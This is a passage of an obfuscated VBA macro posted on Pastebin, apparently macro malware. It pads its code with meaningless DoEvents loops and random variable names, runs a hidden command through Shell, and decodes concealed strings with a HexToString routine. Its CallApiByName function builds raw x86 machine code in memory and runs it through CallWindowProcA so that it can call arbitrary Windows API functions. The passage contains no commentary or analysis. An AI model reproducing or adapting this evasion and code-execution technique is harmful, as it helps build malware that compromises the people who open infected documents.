  1034. Dim aPUdShSw As Integer
  1035.  
  1036. Dim PgMbroZH As Integer
  1037. PgMbroZH = 8
  1038. Do While PgMbroZH < 13
  1039. DoEvents: PgMbroZH = PgMbroZH + 1
  1040. Loop
  1041.  
  1042. aPUdShSw = 1
  1043. Do While aPUdShSw < 98
  1044.  
  1045. Dim gKlcJLcN As Integer
  1046. gKlcJLcN = 4
  1047. Do While gKlcJLcN < 82
  1048. DoEvents: gKlcJLcN = gKlcJLcN + 1
  1049. Loop
  1050.  
  1051. DoEvents: aPUdShSw = aPUdShSw + 1
  1052.  
  1053. Dim hIqqeHPz As Integer
  1054. hIqqeHPz = 4
  1055. Do While hIqqeHPz < 38
  1056. DoEvents: hIqqeHPz = hIqqeHPz + 1
  1057. Loop
  1058.  
  1059. Loop
  1060.  
  1061.  
  1062. Dim YHEPQlxP As Integer
  1063. YHEPQlxP = 7
  1064. Do While YHEPQlxP < 59
  1065. DoEvents: YHEPQlxP = YHEPQlxP + 1
  1066. Loop
  1067.  
  1068.     gffUYUdfg = Shell(xTysdfsdf, 1)
  1069.  
  1070. End Sub
  1071.  
  1072. Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
  1073. On Error Resume Next
  1074.     Dim qfzpguEnn                As Long
  1075.     Dim MoJQl(&HEC00& - 1)  As Byte
  1076.     Dim kVazolfxuRnLRN                   As Long
  1077.     Dim drMOYicFVoIcVLr                As Long
  1078.    
  1079.     drMOYicFVoIcVLr = GetProcAddress(LoadLibraryA(sLib), sMod)
  1080.     If drMOYicFVoIcVLr = 0 Then Exit Function
  1081.    
  1082.     qfzpguEnn = VarPtr(MoJQl(0))
  1083.     RtlMoveMemory ByVal qfzpguEnn, &H59595958, &H4:              qfzpguEnn = qfzpguEnn + 4
  1084.     RtlMoveMemory ByVal qfzpguEnn, &H5059, &H2:                  qfzpguEnn = qfzpguEnn + 2
  1085.     For kVazolfxuRnLRN = UBound(Params) To 0 Step -1
  1086.         RtlMoveMemory ByVal qfzpguEnn, &H68, &H1:                qfzpguEnn = qfzpguEnn + 1
  1087.         RtlMoveMemory ByVal qfzpguEnn, CLng(Params(kVazolfxuRnLRN)), &H4:     qfzpguEnn = qfzpguEnn + 4
  1088.     Next
  1089.     RtlMoveMemory ByVal qfzpguEnn, &HE8, &H1:                    qfzpguEnn = qfzpguEnn + 1
  1090.     RtlMoveMemory ByVal qfzpguEnn, drMOYicFVoIcVLr - qfzpguEnn - 4, &H4:         qfzpguEnn = qfzpguEnn + 4
  1091.     RtlMoveMemory ByVal qfzpguEnn, &HC3, &H1:                    qfzpguEnn = qfzpguEnn + 1
  1092.     CallApiByName = CallWindowProcA(VarPtr(MoJQl(0)), 0, 0, 0, 0)
  1093.    
  1094. End Function
  1095.  
  1096.  
  1097.  
  1098. Public Function HexToString(ByVal fdgfdg As String) As String
  1099.  
  1100. Dim saXhzQRf As Integer
  1101.  
  1102. Dim AsaWEeJQ As Integer
  1103. AsaWEeJQ = 9
  1104. Do While AsaWEeJQ < 95
  1105. DoEvents: AsaWEeJQ = AsaWEeJQ + 1
  1106. Loop
  1107.  
  1108. saXhzQRf = 6
  1109. Do While saXhzQRf < 63
  1110.  
  1111. Dim uEwhEcvl As Integer
  1112. uEwhEcvl = 5
  1113. Do While uEwhEcvl < 58
  1114. DoEvents: uEwhEcvl = uEwhEcvl + 1
  1115. Loop
  1116.  
  1117. DoEvents: saXhzQRf = saXhzQRf + 1
  1118.  
  1119. Dim qigHUldm As Integer
  1120. qigHUldm = 6
  1121. Do While qigHUldm < 92
  1122. DoEvents: qigHUldm = qigHUldm + 1
  1123. Loop
  1124.  
  1125. Loop
  1126.  
  1127.  
  1128. Dim qoszHkCE As Integer
  1129. qoszHkCE = 6
  1130. Do While qoszHkCE < 36
  1131. DoEvents: qoszHkCE = qoszHkCE + 1
  1132. Loop
  1133.  
  1134.    
  1135. For y = 1 To Len(fdgfdg)
  1136.  
  1137. Dim tFnNYKOY As Integer
  1138.  
  1139. Dim HcNVlSAv As Integer
  1140. HcNVlSAv = 2
  1141. Do While HcNVlSAv < 88
  1142. DoEvents: HcNVlSAv = HcNVlSAv + 1
  1143. Loop
  1144.  
  1145. tFnNYKOY = 5
  1146. Do While tFnNYKOY < 51
  1147.  
  1148. Dim rLybywOl As Integer
  1149. rLybywOl = 5
  1150. Do While rLybywOl < 23
  1151. DoEvents: rLybywOl = rLybywOl + 1
  1152. Loop
  1153.  
  1154. DoEvents: tFnNYKOY = tFnNYKOY + 1
  1155.  
  1156. Dim icNaqkcw As Integer
  1157. icNaqkcw = 5
  1158. Do While icNaqkcw < 67
  1159. DoEvents: icNaqkcw = icNaqkcw + 1
  1160. Loop
  1161.  
  1162. Loop
  1163.  
  1164.  
  1165. Dim ollADlmP As Integer
  1166. ollADlmP = 6
  1167. Do While ollADlmP < 66
  1168. DoEvents: ollADlmP = ollADlmP + 1
  1169. Loop
  1170.  
  1171.     ytrefgdg = Mid(fdgfdg, y, 2)
  1172.  
  1173. Dim asALdhkZ As Integer
  1174.  
  1175. Dim FFAMiPFk As Integer
  1176. FFAMiPFk = 2
  1177. Do While FFAMiPFk < 58
  1178. DoEvents: FFAMiPFk = FFAMiPFk + 1
  1179. Loop
  1180.  
  1181. asALdhkZ = 4
  1182. Do While asALdhkZ < 16
  1183.  
  1184. Dim FPMwPPQY As Integer
  1185. FPMwPPQY = 2
  1186. Do While FPMwPPQY < 67
  1187. DoEvents: FPMwPPQY = FPMwPPQY + 1
  1188. Loop
  1189.  
  1190. DoEvents: asALdhkZ = asALdhkZ + 1
  1191.  
  1192. Dim KgDXGYbO As Integer
  1193. KgDXGYbO = 3
  1194. Do While KgDXGYbO < 35
  1195. DoEvents: KgDXGYbO = KgDXGYbO + 1
  1196. Loop
  1197.  
  1198. Loop
  1199.  
  1200.  
  1201. Dim lteFyztg As Integer
  1202. lteFyztg = 7
  1203. Do While lteFyztg < 84
  1204. DoEvents: lteFyztg = lteFyztg + 1
  1205. Loop
  1206.  
  1207.     ortvcvsdf = ortvcvsdf & Chr(Val("&h" & ytrefgdg))
  1208.  
  1209. Dim tHmmjsyR As Integer
  1210.  
  1211. Dim QavyhQdk As Integer
  1212. QavyhQdk = 2
  1213. Do While QavyhQdk < 75
  1214. DoEvents: QavyhQdk = QavyhQdk + 1
  1215. Loop
  1216.  
  1217. tHmmjsyR = 5
  1218. Do While tHmmjsyR < 51
  1219.  
  1220. Dim mNZFTaPL As Integer
  1221. mNZFTaPL = 8
  1222. Do While mNZFTaPL < 54
  1223. DoEvents: mNZFTaPL = mNZFTaPL + 1
  1224. Loop
  1225.  
  1226. DoEvents: tHmmjsyR = tHmmjsyR + 1
  1227.  
  1228. Dim SBRTfOXU As Integer
  1229. SBRTfOXU = 2
  1230. Do While SBRTfOXU < 23
  1231. DoEvents: SBRTfOXU = SBRTfOXU + 1
  1232. Loop
  1233.  
  1234. Loop
  1235.  
  1236.  
  1237. Dim fHMcRtAd As Integer
  1238. fHMcRtAd = 6
  1239. Do While fHMcRtAd < 71
  1240. DoEvents: fHMcRtAd = fHMcRtAd + 1
  1241. Loop
  1242.  
  1243.     y = y + 1
  1244. Next y
  1245.  
  1246.  
  1247. Dim UbhGGPXv As Integer
  1248.  
  1249. Dim WxlBeZYY As Integer
  1250. WxlBeZYY = 3
  1251. Do While WxlBeZYY < 75
  1252. DoEvents: WxlBeZYY = WxlBeZYY + 1
  1253. Loop
  1254.  
  1255. UbhGGPXv = 1
  1256. Do While UbhGGPXv < 79
  1257.  
  1258. Dim EwcYkKro As Integer
  1259. EwcYkKro = 9
  1260. Do While EwcYkKro < 68
  1261. DoEvents: EwcYkKro = EwcYkKro + 1
  1262. Loop
  1263.  
  1264. DoEvents: UbhGGPXv = UbhGGPXv + 1
  1265.  
  1266. Dim oHIFEsDI As Integer
  1267. oHIFEsDI = 6
  1268. Do While oHIFEsDI < 61
  1269. DoEvents: oHIFEsDI = oHIFEsDI + 1
  1270. Loop
  1271.  
  1272. Loop
  1273.  
  1274.  
  1275. Dim KGDxLZpp As Integer
  1276. KGDxLZpp = 3
  1277. Do While KGDxLZpp < 31
  1278. DoEvents: KGDxLZpp = KGDxLZpp + 1
  1279. Loop
  1280.  
  1281. HexToString = ortvcvsdf
  1282. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top